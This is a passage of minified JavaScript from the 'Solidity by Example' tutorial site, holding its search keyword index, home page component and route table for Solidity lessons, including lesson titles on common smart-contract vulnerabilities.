=["/tests/echidna"],F1=["/super","/calling-contract"],M1=["/super"],S1=["/super","/new-contract","/interface","/inheritance","/hello-world","/hacks/hiding-malicious-code-with-external-contract","/hacks/deploy-different-contracts-same-address","/hacks/contract-size","/first-app","/delegatecall","/constructor","/calling-contract","/call","/app/simple-bytecode-contract","/app/minimal-proxy","/app/deploy-any-contract","/app/create2"],x1=["/super","/new-contract","/interface","/inheritance","/first-app","/delegatecall","/calling-contract","/call"],J1=["/super","/shadowing-inherited-state-variables","/inheritance","/constructor"],z1=["/structs"],D1=["/structs"],E1=["/structs","/primitives"],Q1=["/state-variables"],T1=["/state-variables"],U1=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel","/app/airdrop"],L1=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel","/app/airdrop"],_1=["/signature","/hashing","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/merkle-tree","/app/bi-directional-payment-channel"],O1=["/signature"],P1=["/signature"],$1=["/signature","/hacks/signature-replay","/foundry/sign","/app/uni-directional-payment-channel","/app/multi-sig-wallet","/app/bi-directional-payment-channel"],q1=["/signature"],sY=["/signature","/foundry/sign"],aY=["/shadowing-inherited-state-variables"],nY=["/shadowing-inherited-state-variables"],lY=["/sending-ether"],pY=["/sending-ether","/sending-ether","/payable","/foundry/send","/fallback"],eY=["/sending-ether","/payable","/fallback","/ether-units","/app/ether-wallet"],cY=["/sending-ether","/payable","/fallback","/app/ether-wallet"],tY=["/sending-ether","/fallback","/app/gasless-token-transfer"],oY=["/sending-ether","/foundry/mock-call","/delegatecall","/calling-contract","/call","/app/multi-call"],rY=["/sending-ether","/fallback"],iY=["/sending-ether","/fallback"],gY=["/sending-ether","/payable","/fallback"],hY=["/primitives"],IY=["/primitives"],dY=["/primitives"],CY=["/primitives"],jY=["/primitives"],AY=["/primitives","/hacks/deploy-different-contracts-same-address","/app/create2"],uY=["/primitives"],yY=["/primitives"],mY=["/new-contract","/hacks/deploy-different-contracts-same-address"],bY=["/new-contract"],wY=["/new-contract","/hacks/deploy-different-contracts-same-address","/app/create2"],kY=["/new-contract","/hacks/deploy-different-contracts-same-address"],ZY=["/mapping","/app/iterable-mapping"],WY=["/loop","/assembly-loop"],GY=["/loop"],BY=["/library"],fY=["/interface"],VY=["/inheritance"],YY=["/inheritance"],XY=["/inheritance"],RY=["/immutable","/defi/constant-sum-amm","/defi/constant-product-amm","/constants"],vY=["/immutable","/constants"],NY=["/immutable"],HY=["/immutable"],KY=["/if-else"],FY=["/if-else"],MY=["/if-else"],SY=["/hello-world"],xY=["/hello-world"],JY=["/hashing"],zY=["/hashing"],DY=["/hashing"],EY=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],QY=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data","/events-advanced"],TY=["/hacks/weth-permit"],UY=["/hacks/weth-permit","/app/gasless-token-transfer"],LY=["/hacks/vault-inflation"],_Y=["/hacks/vault-inflation"],OY=["/hacks/vault-inflation","/defi/vault"],PY=["/hacks/signature-replay"],$Y=["/hacks/self-destruct"],qY=["/hacks/randomness"],sX=["/hacks/randomness"],aX=["/hacks/randomness"],nX=["/hacks/randomness"],lX=["/hacks/randomness","/hacks/block-timestamp-manipulation"],pX=["/hacks/randomness","/hacks/block-timestamp-manipulation"],eX=["/hacks/phishing-with-tx-origin"],cX=["/hacks/overflow"],tX=["/hacks/honeypot"],oX=["/hacks/hiding-malicious-code-with-external-contract"],rX=["/hacks/hiding-malicious-code-with-external-contract"],iX=["/hacks/hiding-malicious-code-with-external-contract"],gX=["/hacks/hiding-malicious-code-with-external-contract"],hX=["/hacks/front-running"],IX=["/hacks/front-running"],dX=["/hacks/deploy-different-contracts-same-address","/app/deploy-any-contract"],CX=["/hacks/deploy-different-contracts-same-address"],jX=["/hacks/deploy-different-contracts-same-address"],AX=["/hacks/denial-of-service"],uX=["/hacks/denial-of-service"],yX=["/hacks/delegatecall","/delegatecall","/app/upgradeable-proxy","/app/multi-delegatecall"],mX=["/hacks/contract-size"],bX=["/hacks/contract-size"],wX=["/hacks/contract-size"],kX=["/hacks/contract-size"],ZX=["/hacks/block-timestamp-manipulation"],WX=["/hacks/accessing-private-data"],GX=["/hacks/accessing-private-data"],BX=["/gas-golf"],fX=["/function-selector"],VX=["/function-selector"],YX=["/function-modifier"],XX=["/function-modifier"],RX=["/function-modifier"],vX=["/foundry/time","/foundry/sign","/foundry/send","/foundry/mock-call","/foundry/label","/foundry/event","/foundry/error","/foundry/basic","/foundry/auth"],NX=["/foundry/time","/app/time-lock"],HX=["/foundry/time"],KX=["/foundry/time"],FX=["/foundry/time"],MX=["/foundry/time"],SX=["/foundry/sign"],xX=["/foundry/send"],JX=["/foundry/send"],zX=["/foundry/mock-call"],DX=["/foundry/label"],EX=["/foundry/event","/events"],QX=["/foundry/basic"],TX=["/foundry/basic","/first-app"],UX=["/foundry/auth"],LX=["/foundry/auth"],_X=["/foundry/auth"],OX=["/first-app"],PX=["/evm/storage","/evm/memory"],$X=["/evm/storage","/evm/memory","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],qX=["/evm/storage","/evm/memory","/bitwise","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],sR=["/evm/memory","/data-locations"],aR=["/events-advanced","/events"],nR=["/events-advanced"],lR=["/events-advanced"],pR=["/events-advanced"],eR=["/ether-units"],cR=["/ether-units"],tR=["/error"],oR=["/error","/assembly-error"],rR=["/error"],iR=["/enum"],gR=["/defi/vault","/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/staking-rewards","/defi/stable-swap-amm","/defi/discrete-staking-rewards","/defi/dai-proxy","/defi/constant-sum-amm","/defi/constant-product-amm","/defi/chainlink-price-oracle"],hR=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],IR=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash"],dR=["/defi/uniswap-v3-swap","/defi/uniswap-v3-flash-swap","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2","/defi/stable-swap-amm"],CR=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/stable-swap-amm","/defi/constant-sum-amm","/defi/constant-product-amm"],jR=["/defi/uniswap-v3-liquidity","/defi/uniswap-v2-add-remove-liquidity"],AR=["/defi/uniswap-v3-flash-swap"],uR=["/defi/uniswap-v3-flash","/defi/uniswap-v2-flash-swap"],yR=["/defi/uniswap-v3-flash"],mR=["/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],bR=["/defi/uniswap-v2-optimal-one-sided-supply"],wR=["/defi/uniswap-v2-optimal-one-sided-supply"],kR=["/defi/uniswap-v2-optimal-one-sided-supply"],ZR=["/defi/uniswap-v2-optimal-one-sided-supply"],WR=["/defi/uniswap-v2-add-remove-liquidity","/assembly-math"],GR=["/defi/uniswap-v2-add-remove-liquidity"],BR=["/defi/staking-rewards","/defi/discrete-staking-rewards"],fR=["/defi/staking-rewards","/defi/discrete-staking-rewards"],VR=["/defi/staking-rewards","/defi/discrete-staking-rewards"],YR=["/defi/stable-swap-amm"],XR=["/defi/stable-swap-amm"],RR=["/defi/discrete-staking-rewards"],vR=["/defi/dai-proxy"],NR=["/defi/dai-proxy","/app/upgradeable-proxy","/app/minimal-proxy"],HR=["/defi/constant-sum-amm"],KR=["/defi/constant-product-amm"],FR=["/defi/chainlink-price-oracle"],MR=["/defi/chainlink-price-oracle"],SR=["/defi/chainlink-price-oracle"],xR=["/defi/chainlink-price-oracle"],JR=["/data-locations"],zR=["/data-locations"],DR=["/data-locations"],ER=["/constructor"],QR=["/constructor"],TR=["/calling-contract"],UR=["/bitwise"],LR=["/bitwise"],_R=["/bitwise"],OR=["/bitwise"],PR=["/assembly-math"],$R=["/array"],qR=["/array"],sv=["/app/write-to-any-slot"],av=["/app/write-to-any-slot","/app/deploy-any-contract"],nv=["/app/write-to-any-slot"],lv=["/app/upgradeable-proxy"],pv=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],ev=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],cv=["/app/time-lock"],tv=["/app/simple-bytecode-contract"],ov=["/app/simple-bytecode-contract"],rv=["/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call"],iv=["/app/multi-sig-wallet"],gv=["/app/multi-sig-wallet","/app/ether-wallet"],hv=["/app/multi-call"],Iv=["/app/minimal-proxy"],dv=["/app/merkle-tree","/app/airdrop"],Cv=["/app/merkle-tree"],jv=["/app/iterable-mapping"],Av=["/app/gasless-token-transfer"],uv=["/app/gasless-token-transfer","/app/erc20"],yv=["/app/gasless-token-transfer"],mv=["/app/erc721"],bv=["/app/erc721"],wv=["/app/erc721","/app/erc1155"],kv=["/app/erc20"],Zv=["/app/erc20"],Wv=["/app/erc1155"],Gv=["/app/erc1155"],Bv=["/app/english-auction"],fv=["/app/english-auction","/app/dutch-auction"],Vv=["/app/english-auction","/app/dutch-auction"],Yv=["/app/dutch-auction"],Xv=["/app/crowd-fund"],Rv=["/app/crowd-fund"],vv=["/app/crowd-fund"],Nv=["/app/create2"],Hv=["/app/assembly-bin-exp"],Kv=["/app/assembly-bin-exp"],Fv=["/app/airdrop"],Mv=["/abi-encode","/abi-decode"],Sv=["/abi-encode"],xv=["/abi-encode","/abi-decode"],Jv=["/abi-encode"],zv=["/abi-encode"],Dv=["/abi-encode"],Ev=["/abi-decode"],vo={visibility:r1,function:["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],functions:i1,internal:g1,private:["/visibility","/hacks/accessing-private-data"],public:["/visibility"],external:h1,view:I1,pure:d1,variable:C1,variables:j1,local:A1,global:u1,state:y1,data:m1,user:b1,defined:w1,value:k1,types:Z1,udvt:W1,gas:G1,unchecked:B1,math:f1,overflow:V1,underflow:Y1,try:["/try-catch"],catch:["/try-catch"],error:X1,errors:R1,transient:v1,storage:N1,test:H1,echidna:K1,calling:F1,parent:M1,contract:S1,contracts:x1,inheritance:J1,super:["/super","/inheritance"],struct:z1,structs:D1,type:E1,reading:Q1,writing:T1,app:U1,application:L1,cryptography:_1,verify:O1,verifying:P1,signature:$1,signatures:q1,ecrecover:sY,shadow:aY,shadowing:nY,sending:lY,send:pY,ether:eY,eth:cY,transfer:tY,call:oY,fallback:rY,receive:iY,payable:gY,primitive:hY,primitives:IY,boolean:dY,uint256:CY,int256:jY,address:AY,uint:uY,int:yY,new:["/new-contract","/new-contract"],create:mY,creates:bY,create2:wY,salt:kY,mapping:ZY,for:["/loop","/assembly-loop"],loop:WY,loops:GY,while:["/loop","/assembly-loop"],do:["/loop"],library:BY,interface:["/interface"],interfaces:fY,override:VY,virtual:YY,is:XY,import:["/import","/enum"],constant:RY,constants:vY,immutable:NY,immutables:HY,if:["/if-else","/assembly-if"],else:["/if-else"],conditional:KY,statement:FY,statements:MY,hello:SY,world:xY,hash:JY,hashing:zY,keccak256:DY,hack:EY,security:QY,weth:TY,permit:UY,inflation:LY,erc4626:_Y,vault:OY,replay:PY,selfdestruct:$Y,"re-entrancy":["/hacks/re-entrancy"],source:qY,random:sX,randomness:aX,blockhash:nX,block:lX,timestamp:pX,phishing:eX,"tx.origin":["/hacks/phishing-with-tx-origin"],arithmetic:cX,honeypot:tX,hide:oX,hiding:rX,malicious:iX,code:gX,front:hX,running:IX,deploy:dX,different:CX,same:jX,denial:AX,service:uX,delegatecall:yX,bypass:mX,size:bX,check:wX,extcodesize:kX,manipulation:ZX,access:WX,accessing:GX,golf:BX,selector:fX,selectors:VX,modifier:YX,modifiers:XX,_:RX,foundry:vX,time:NX,warp:HX,skip:KX,roll:FX,unwind:MX,sign:SX,deal:xX,hoax:JX,mock:zX,label:DX,event:EX,basic:QX,counter:TX,auth:UX,authorization:LX,prank:_X,first:OX,evm:PX,yul:$X,assembly:qX,memory:sR,events:aR,advanced:nR,"event-driven":["/events-advanced"],monitoring:lR,filtering:pR,wei:eR,units:cR,require:tR,revert:oR,assert:rR,enum:["/enum"],imports:iR,defi:gR,uniswap:hR,v3:IR,swap:dR,amm:CR,liquidity:jR,arbitrage:AR,flash:uR,loan:yR,v2:mR,optimal:bR,one:wR,sided:kR,supply:ZR,add:WR,remove:GR,staking:BR,reward:fR,rewards:VR,curve:YR,stable:XR,discrete:RR,dai:vR,proxy:NR,sum:HR,product:KR,chainlink:FR,price:MR,oracle:SR,oracles:xR,location:JR,locations:zR,calldata:DR,constructor:ER,constructors:QR,other:TR,bitwise:UR,most:LR,significant:_R,bit:OR,mul:PR,switch:["/assembly-if"],array:$R,arrays:qR,write:sv,any:av,slot:nv,upgradeable:lv,"uni-directional":["/app/uni-directional-payment-channel"],payment:pv,channel:ev,lock:cv,simple:tv,bytecode:ov,multi:rv,sig:iv,wallet:gv,staticcall:hv,minimal:Iv,merkle:dv,tree:Cv,iterable:jv,gasless:Av,token:uv,ERC20:yv,erc721:mv,ierc721:bv,nft:wv,erc20:kv,ierc20:Zv,erc1155:Wv,ierc1155:Gv,english:Bv,auction:fv,auctions:Vv,dutch:Yv,crowd:Xv,fund:Rv,funding:vv,precompute:Nv,"bi-directional":["/app/bi-directional-payment-channel"],binary:Hv,exponentiation:Kv,airdrop:Fv,abi:Mv,encode:Sv,bytes:xv,encodeWithSelector:Jv,encodeWithSignature:zv,encodeCall:Dv,decode:Ev},No={"/visibility":["visibility","function","functions","internal","private","public","external"],"/view-and-pure-functions":["view","pure","function","functions"],"/variables":["variable","variables","local","global","state","data"],"/user-defined-value-types":["data","user","defined","value","types","udvt"],"/unchecked-math":["gas","unchecked","math","overflow","underflow"],"/try-catch":["try","catch","error","errors"],"/transient-storage":["transient","storage"],"/tests/echidna":["test","echidna"],"/super":["calling","parent","contract","contracts","inheritance","super"],"/structs":["struct","structs","data","type","types","variable","variables"],"/state-variables":["reading","writing","state","variable","variables","app","application"],"/signature":["cryptography","verify","verifying","signature","signatures","ecrecover"],"/shadowing-inherited-state-variables":["state","variables","variable","shadow","shadowing","inheritance"],"/sending-ether":["sending","send","ether","eth","transfer","send","call","fallback","receive","payable","function","functions"],"/primitives":["primitive","primitives","data","type","types","variable","variables","boolean","uint256","int256","address","uint","int"],"/payable":["payable","eth","send","ether"],"/new-contract":["new","contract","create","contracts","creates","new","create2","salt"],"/mapping":["data","variable","variables","mapping"],"/loop":["for","loop","loops","while","do"],"/library":["library"],"/interface":["interface","interfaces","contract","contracts"],"/inheritance":["inheritance","super","override","virtual","is","contract","contracts"],"/import":["import"],"/immutable":["constant","constants","immutable","immutables","data","variable","variables"],"/if-else":["if","else","conditional","statement","statements"],"/hello-world":["contract","app","application","hello","world"],"/hashing":["hash","hashing","function","functions","keccak256","cryptography"],"/hacks/weth-permit":["hack","security","weth","permit"],"/hacks/vault-inflation":["hack","security","inflation","erc4626","vault"],"/hacks/signature-replay":["hack","security","cryptography","signature","replay"],"/hacks/self-destruct":["hack","security","selfdestruct"],"/hacks/re-entrancy":["hack","security","re-entrancy"],"/hacks/randomness":["hack","security","source","random","randomness","blockhash","block","timestamp"],"/hacks/phishing-with-tx-origin":["hack","security","phishing","tx.origin"],"/hacks/overflow":["hack","security","arithmetic","overflow","underflow"],"/hacks/honeypot":["hack","security","honeypot"],"/hacks/hiding-malicious-code-with-external-contract":["hack","security","hide","hiding","malicious","code","external","contract"],"/hacks/front-running":["hack","security","front","running"],"/hacks/deploy-different-contracts-same-address":["hack","security","deploy","salt","create","create2","different","contract","same","address"],"/hacks/denial-of-service":["hack","security","denial","service"],"/hacks/delegatecall":["hack","security","delegatecall"],"/hacks/contract-size":["hack","security","bypass","contract","size","check","extcodesize"],"/hacks/block-timestamp-manipulation":["hack","security","block","timestamp","manipulation"],"/hacks/accessing-private-data":["hack","security","access","accessing","private","data","storage"],"/gas-golf":["gas","golf"],"/gas":["gas"],"/function-selector":["function","functions","selector","selectors"],"/function-modifier":["function","functions","modifier","modifiers","_"],"/function":["function","functions"],"/foundry/time":["foundry","time","warp","skip","roll","unwind"],"/foundry/sign":["foundry","sign","signature","ecrecover"],"/foundry/send":["foundry","send","deal","hoax"],"/foundry/mock-call":["foundry","mock","call"],"/foundry/label":["foundry","label"],"/foundry/event":["foundry","event"],"/foundry/error":["foundry","error"],"/foundry/basic":["foundry","basic","counter"],"/foundry/auth":["foundry","auth","authorization","prank"],"/first-app":["contract","contracts","app","first","application","counter"],"/fallback":["fallback","function","functions","receive","payable","send","ether","eth","transfer"],"/evm/storage":["data","evm","storage","state","variable","yul","assembly"],"/evm/memory":["data","evm","memory","yul","assembly"],"/events-advanced":["events","advanced","event-driven","monitoring","filtering","security"],"/events":["event","events"],"/ether-units":["data","variables","variable","ether","wei","units"],"/error":["error","errors","require","revert","assert"],"/enum":["data","variable","variables","enum","import","imports"],"/delegatecall":["delegatecall","call","contract","contracts","function","functions"],"/defi/vault":["defi","vault"],"/defi/uniswap-v3-swap":["defi","uniswap","v3","swap","amm"],"/defi/uniswap-v3-liquidity":["defi","uniswap","v3","liquidity","amm"],"/defi/uniswap-v3-flash-swap":["defi","uniswap","v3","swap","arbitrage","amm"],"/defi/uniswap-v3-flash":["defi","uniswap","v3","flash","loan","amm"],"/defi/uniswap-v2-optimal-one-sided-supply":["defi","uniswap","v2","optimal","one","sided","supply","amm"],"/defi/uniswap-v2-flash-swap":["defi","uniswap","v2","flash","swap","amm"],"/defi/uniswap-v2-add-remove-liquidity":["defi","uniswap","v2","add","remove","liquidity","amm"],"/defi/uniswap-v2":["defi","uniswap","v2","swap","amm"],"/defi/staking-rewards":["defi","staking","reward","rewards"],"/defi/stable-swap-amm":["defi","curve","stable","swap","amm"],"/defi/discrete-staking-rewards":["defi","discrete","staking","reward","rewards"],"/defi/dai-proxy":["defi","dai","proxy"],"/defi/constant-sum-amm":["defi","constant","sum","amm"],"/defi/constant-product-amm":["defi","constant","product","amm"],"/defi/chainlink-price-oracle":["defi","chainlink","price","oracle","oracles"],"/data-locations":["data","location","locations","storage","memory","calldata"],"/constructor":["constructor","constructors","contract","inheritance"],"/constants":["constant","constants","data","variable","variables"],"/calling-contract":["calling","other","contract","contracts","call","function","functions"],"/call":["contract","contracts","call","function","functions"],"/bitwise":["bitwise","most","significant","bit","assembly"],"/assembly-variable":["assembly","variable","yul"],"/assembly-math":["assembly","yul","math","add","mul"],"/assembly-loop":["assembly","loop","yul","while","for"],"/assembly-if":["assembly","yul","if","switch"],"/assembly-error":["assembly","yul","error","revert"],"/array":["data","variable","variables","array","arrays"],"/app/write-to-any-slot":["app","application","write","any","slot","storage"],"/app/upgradeable-proxy":["app","application","delegatecall","upgradeable","proxy"],"/app/uni-directional-payment-channel":["app","application","uni-directional","payment","channel","signature","cryptography"],"/app/time-lock":["app","application","time","lock"],"/app/simple-bytecode-contract":["app","application","simple","bytecode","contract"],"/app/multi-sig-wallet":["app","application","multi","sig","signature","wallet"],"/app/multi-delegatecall":["app","application","multi","delegatecall"],"/app/multi-call":["app","application","multi","call","staticcall"],"/app/minimal-proxy":["app","application","minimal","proxy","contract"],"/app/merkle-tree":["app","application","merkle","tree","cryptography"],"/app/iterable-mapping":["app","application","mapping","data","iterable"],"/app/gasless-token-transfer":["app","application","gasless","token","transfer","ERC20","permit"],"/app/ether-wallet":["app","application","ether","eth","wallet"],"/app/erc721":["app","application","erc721","ierc721","nft"],"/app/erc20":["app","application","erc20","ierc20","token"],"/app/erc1155":["app","application","erc1155","nft","ierc1155"],"/app/english-auction":["app","application","english","auction","auctions"],"/app/dutch-auction":["app","application","dutch","auction","auctions"],"/app/deploy-any-contract":["app","application","deploy","any","contract"],"/app/crowd-fund":["app","application","crowd","fund","funding"],"/app/create2":["app","application","create2","precompute","contract","address"],"/app/bi-directional-payment-channel":["app","application","bi-directional","payment","channel","signature","cryptography"],"/app/assembly-bin-exp":["assembly","yul","binary","exponentiation","math"],"/app/airdrop":["app","application","merkle","airdrop"],"/abi-encode":["abi","encode","bytes","encodeWithSelector","encodeWithSignature","encodeCall"],"/abi-decode":["abi","decode","bytes"]},hc=[];for(const s of Object.keys(No))hc.push(...No[s]);const Cg={};for(let s=0;s{const I=n.get("q");I!=null&&I.length>0&&(a(I),c(I,!1))},[]);function c(I,d){const j=I.trim();if(j.length==0){e(null),d&&l({q:""});return}const u=Qv(j.split(" ")),m={};for(const b of u){const G=Tv(b);for(const h of G)m[h]=!0}e(m),d&&l({q:j})}const t=e1(I=>c(I,!0),500,[]);function o(I){a(I),t(I)}function i(){return p?Object.keys(p).length==0?r.jsx("div",{children:"No results"}):r.jsx("ul",{className:as.list,children:jp.filter(({path:I})=>p[I]).map(({path:I,title:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:I,children:d})},I))}):r.jsxs(r.Fragment,{children:[rt.map(({routes:I,title:d},j)=>r.jsxs("div",{children:[d&&r.jsx("h3",{className:as.category,children:d}),r.jsx("ul",{className:as.list,children:I.map(({path:u,title:m})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:u,children:m})},u))})]},j)),r.jsxs("div",{children:[r.jsx("h3",{className:as.category,children:"Translations"}),_d.map(({lang:I,url:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:d,target:"__blank",children:I})},d))]})]})}return r.jsxs("div",{className:as.component,children:[r.jsx(dg,{title:"Solidity by Example | 0.8.26",description:"Learn smart contract programming using Solidity"}),r.jsx("h1",{className:as.header,children:r.jsx("a",{href:"/",children:"Solidity by Example"})}),r.jsx("div",{className:as.subHeader,children:"v 0.8.26"}),r.jsxs("div",{className:as.main,children:[r.jsxs("p",{children:["Introduction to ",r.jsx("a",{href:"https://solidity.readthedocs.io",children:"Solidity"})," with simple examples"]}),r.jsxs("div",{className:as.youTube,children:[r.jsx("img",{src:Ig,alt:"logo",className:as.youTubeLogo}),r.jsx("a",{href:"https://www.youtube.com/@smartcontractprogrammer",target:"__blank",children:"Most code are explained here"})]}),r.jsxs("div",{className:as.updraft,children:[r.jsx("img",{src:hg,alt:"logo",className:as.updraftLogo}),r.jsx("a",{href:"https://updraft.cyfrin.io/",target:"__blank",children:"Learn Solidity at Cyfrin Updraft"})]}),r.jsx("div",{className:as.updates,children:pN.map((I,d)=>r.jsx("div",{children:I},d))}),r.jsx("div",{className:as.search,children:r.jsx(MV,{value:s,onChange:o})}),i()]})]})}const cN=[{path:"/abi-decode",component:_C},{path:"/abi-encode",component:nj},{path:"/app/airdrop",component:rj},{path:"/app/assembly-bin-exp",component:jj},{path:"/app/bi-directional-payment-channel",component:kj},{path:"/app/create2",component:Yj},{path:"/app/crowd-fund",component:Fj},{path:"/app/deploy-any-contract",component:Ej},{path:"/app/dutch-auction",component:Pj},{path:"/app/english-auction",component:pA},{path:"/app/erc1155",component:gA},{path:"/app/erc20",component:uA},{path:"/app/erc721",component:WA},{path:"/app/ether-wallet",component:RA},{path:"/app/gasless-token-transfer",component:SA},{path:"/app/iterable-mapping",component:TA},{path:"/app/merkle-tree",component:qA},{path:"/app/minimal-proxy",component:cu},{path:"/app/multi-call",component:Iu},{path:"/app/multi-delegatecall",component:mu},{path:"/app/multi-sig-wallet",component:Bu},{path:"/app/simple-bytecode-contract",component:Nu},{path:"/app/time-lock",component:Ju},{path:"/app/uni-directional-payment-channel",component:Lu},{path:"/app/upgradeable-proxy",component:ay},{path:"/app/write-to-any-slot",component:oy},{path:"/array",component:Cy},{path:"/assembly-error",component:wy},{path:"/assembly-if",component:Vy},{path:"/assembly-loop",component:Ky},{path:"/assembly-math",component:Dy},{path:"/assembly-variable",component:Oy},{path:"/bitwise",component:lm},{path:"/call",component:im},{path:"/calling-contract",component:Am},{path:"/constants",component:Zm},{path:"/constructor",component:Xm},{path:"/data-locations",component:Mm},{path:"/defi/chainlink-price-oracle",component:Qm},{path:"/defi/constant-product-amm",component:$m},{path:"/defi/constant-sum-amm",component:eb},{path:"/defi/dai-proxy",component:hb},{path:"/defi/discrete-staking-rewards",component:yb},{path:"/defi/stable-swap-amm",component:Gb},{path:"/defi/staking-rewards",component:vb},{path:"/defi/uniswap-v2",component:xb},{path:"/defi/uniswap-v2-add-remove-liquidity",component:Ub},{path:"/defi/uniswap-v2-flash-swap",component:sw},{path:"/defi/uniswap-v2-optimal-one-sided-supply",component:tw},{path:"/defi/uniswap-v3-flash",component:dw},{path:"/defi/uniswap-v3-flash-swap",component:bw},{path:"/defi/uniswap-v3-liquidity",component:fw},{path:"/defi/uniswap-v3-swap",component:Hw},{path:"/defi/vault",component:zw},{path:"/delegatecall",component:_w},{path:"/enum",component:nk},{path:"/error",component:rk},{path:"/ether-units",component:jk},{path:"/events",component:kk},{path:"/events-advanced",component:Yk},{path:"/evm/memory",component:Fk},{path:"/evm/storage",component:Ek},{path:"/fallback",component:Pk},{path:"/first-app",component:p0},{path:"/foundry/auth",component:g0},{path:"/foundry/basic",component:u0},{path:"/foundry/error",component:W0},{path:"/foundry/event",component:R0},{path:"/foundry/label",component:S0},{path:"/foundry/mock-call",component:T0},{path:"/foundry/send",component:q0},{path:"/foundry/sign",component:cZ},{path:"/foundry/time",component:IZ},{path:"/function",component:mZ},{path:"/function-modifier",component:BZ},{path:"/function-selector",component:NZ},{path:"/gas",component:JZ},{path:"/gas-golf",component:LZ},{path:"/hacks/accessing-private-data",component:aW},{path:"/hacks/block-timestamp-manipulation",component:oW},{path:"/hacks/contract-size",component:CW},{path:"/hacks/delegatecall",component:wW},{path:"/hacks/denial-of-service",component:VW},{path:"/hacks/deploy-different-contracts-same-address",component:KW},{path:"/hacks/front-running",component:DW},{path:"/hacks/hiding-malicious-code-with-external-contract",component:OW},{path:"/hacks/honeypot",component:l2},{path:"/hacks/overflow",component:i2},{path:"/hacks/phishing-with-tx-origin",component:A2},{path:"/hacks/randomness",component:Z2},{path:"/hacks/re-entrancy",component:X2},{path:"/hacks/self-destruct",component:M2},{path:"/hacks/signature-replay",component:Q2},{path:"/hacks/vault-inflation",component:$2},{path:"/hacks/weth-permit",component:eG},{path:"/hashing",component:hG},{path:"/hello-world",component:yG},{path:"/if-else",component:GG},{path:"/immutable",component:vG},{path:"/import",component:xG},{path:"/inheritance",component:UG},{path:"/interface",component:sB},{path:"/library",component:tB},{path:"/loop",component:dB},{path:"/mapping",component:bB},{path:"/new-contract",component:fB},{path:"/payable",component:HB},{path:"/primitives",component:zB},{path:"/sending-ether",component:_B},{path:"/shadowing-inherited-state-variables",component:nf},{path:"/signature",component:rf},{path:"/state-variables",component:Af},{path:"/structs",component:Zf},{path:"/super",component:Xf},{path:"/tests/echidna",component:Mf},{path:"/transient-storage",component:Qf},{path:"/try-catch",component:$f},{path:"/unchecked-math",component:eV},{path:"/user-defined-value-types",component:hV},{path:"/variables",component:yV},{path:"/view-and-pure-functions",component:GV},{path:"/visibility",component:vV},{path:"",component:eN}];function Ho(){const{state:s,init:a}=tt();return W.useLayoutEffect(()=>{a({width:window.document.body.clientWidth})},[]),s.initialized?r.jsx(Md,{basename:"",children:r.jsx(HC,{children:r.jsx(Nd,{children:cN.map(n=>{const{prev:l,next:p}=pC(n.path);return r.jsx(gg,{path:n.path,element:Lo.createElement(n.component,{prev:l,next:p})},n.path)})})})}):null}const 